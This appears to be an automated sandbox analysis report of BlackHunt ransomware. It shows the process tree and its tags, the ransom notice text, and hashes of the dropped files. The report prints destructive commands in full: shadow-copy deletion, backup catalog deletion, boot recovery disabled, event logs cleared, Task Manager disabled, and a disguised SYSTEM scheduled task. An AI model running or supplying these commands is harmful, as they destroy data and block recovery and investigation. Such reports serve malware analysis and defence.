                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:2172
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:3532
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2792
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:1888
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:1028
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:3468
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:2652
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:1652
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:2240
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:1292
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:2724
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:1544
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                    2⤵
                                                                                      PID:2232
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                        3⤵
                                                                                          PID:1932
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                        2⤵
                                                                                          PID:2084
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                            3⤵
                                                                                              PID:564
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                            2⤵
                                                                                              PID:2920
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                3⤵
                                                                                                  PID:3872
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                2⤵
                                                                                                  PID:2500
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                    3⤵
                                                                                                      PID:2664
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                    2⤵
                                                                                                      PID:1744
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                        3⤵
                                                                                                          PID:1972
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                        2⤵
                                                                                                          PID:1352
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                            3⤵
                                                                                                              PID:3416
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe" /F
                                                                                                            2⤵
                                                                                                              PID:1516
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe" /F
                                                                                                                3⤵
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:3676
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                              2⤵
                                                                                                                PID:1700
                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                  3⤵
                                                                                                                  • Enumerates connected drives
                                                                                                                  • Interacts with shadow copies
                                                                                                                  PID:3880
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                2⤵
                                                                                                                  PID:2992
                                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                    3⤵
                                                                                                                    • Enumerates connected drives
                                                                                                                    • Interacts with shadow copies
                                                                                                                    PID:3128
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                  2⤵
                                                                                                                    PID:2416
                                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                      3⤵
                                                                                                                      • Interacts with shadow copies
                                                                                                                      PID:3948
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                    2⤵
                                                                                                                      PID:2692
                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                        3⤵
                                                                                                                        • Interacts with shadow copies
                                                                                                                        PID:3984
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                      2⤵
                                                                                                                        PID:2168
                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                          3⤵
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:3968
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                        2⤵
                                                                                                                          PID:1204
                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                            3⤵
                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                            PID:3492
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                          2⤵
                                                                                                                            PID:2980
                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                              3⤵
                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                              PID:3924
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                            2⤵
                                                                                                                              PID:2060
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                3⤵
                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                PID:3900
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                              2⤵
                                                                                                                                PID:2096
                                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                                  3⤵
                                                                                                                                  • Deletes backup catalog
                                                                                                                                  PID:3484
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                2⤵
                                                                                                                                  PID:2308
                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                    3⤵
                                                                                                                                      PID:3912
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                                    2⤵
                                                                                                                                      PID:1700
                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                        fsutil usn deletejournal /D F:\
                                                                                                                                        3⤵
                                                                                                                                        • Enumerates connected drives
                                                                                                                                        PID:2328
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                                      2⤵
                                                                                                                                        PID:2084
                                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                                          fsutil usn deletejournal /D C:\
                                                                                                                                          3⤵
                                                                                                                                            PID:2380
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                                          2⤵
                                                                                                                                            PID:3136
                                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                                              fsutil usn deletejournal /D M:\
                                                                                                                                              3⤵
                                                                                                                                              • Enumerates connected drives
                                                                                                                                              PID:1832
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                            2⤵
                                                                                                                                              PID:1456
                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                wevtutil.exe cl Setup
                                                                                                                                                3⤵
                                                                                                                                                • Clears Windows event logs
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:3412
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                              2⤵
                                                                                                                                                PID:2728
                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                  wevtutil.exe cl System
                                                                                                                                                  3⤵
                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:1840
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                                2⤵
                                                                                                                                                  PID:2296
                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                    wevtutil.exe cl Application
                                                                                                                                                    3⤵
                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2372
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2060
                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                      wevtutil.exe cl Security
                                                                                                                                                      3⤵
                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:2168
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3976
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl Security /e:false
                                                                                                                                                        3⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:3992
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1592
                                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                          3⤵
                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                          PID:1816
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3124
                                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                                            PID:2656
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2768
                                                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                                                              PID:2712
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3936
                                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                                                3⤵
                                                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                                                PID:4076
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1540
                                                                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Deletes backup catalog
                                                                                                                                                                  PID:3352
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1560
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:3528
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:916
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2856
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1460
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3488
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:828
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2996
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2688
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2756
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:944
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1968
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3792
                                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                            taskkill /IM mshta.exe /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                            PID:1140
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:764
                                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                                              notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2880
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:2920
                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                  "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                                  PID:1724
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Deletes itself
                                                                                                                                                                                                PID:3480
                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                  ping 127.0.0.1 -n 5
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                  PID:1200
                                                                                                                                                                                            • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                              C:\Windows\system32\vssvc.exe
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:3796
                                                                                                                                                                                            • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                              "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:3588
                                                                                                                                                                                            • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                              C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:2516
                                                                                                                                                                                              • C:\Windows\System32\vds.exe
                                                                                                                                                                                                C:\Windows\System32\vds.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:2504

                                                                                                                                                                                                Network

                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                Downloads

                                                                                                                                                                                                • C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  684B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  5ecd76770296042cecfa252fb3251b5a

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  a08f25fe195eaaea556a40f05ca39cb2b107313c

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  cc323a6bead69c6032bcff47652489703a1cd00e0f8e3a7ff7a9a3636107fa9c

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  166ca4989b6e9ffb5cf327570dfa91f7d9923609ab630d4623c6cfd8ac4f2c0af9a23ee5158a7f955f1adb12266f28bd4e07ea70283be7c453cf9fb2d0500dc3

                                                                                                                                                                                                • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6f49dbaa9fdeda0522fcfaee6336d55b

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  46d9222202c8c689b3ea10e5d91e67500f2b5f26

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ced02ef1a5f0dc0ed0f67faf1e5f42a168142a2ff55dfa4c91f6ca34db47f776

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  ed0bf1d44ebcb06183bae0abc86b1509e4ed0da3ba57df193254ec1f4db87dabf4ea04ff178a2a270383931c785b17a2328da6c813a6d2a9f7d107d3dc9387f0

                                                                                                                                                                                                • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  12KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  79133ce3e4b68c6c3ecee31d84563ce4

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  e3a31d2580a2ada867755b8b8f66f851956c67e5

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  38db6793504ebdf7122176becbfa31f4f94b3adf6f9b71b4cdc07225bf878d3f

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  47d466354d210d1c73a5572313529252d674c6862ef666db69bfc34823651bab454267be8bffc7190ec01c1fc7820b0f40f8c099062bd57e25327249a507f64c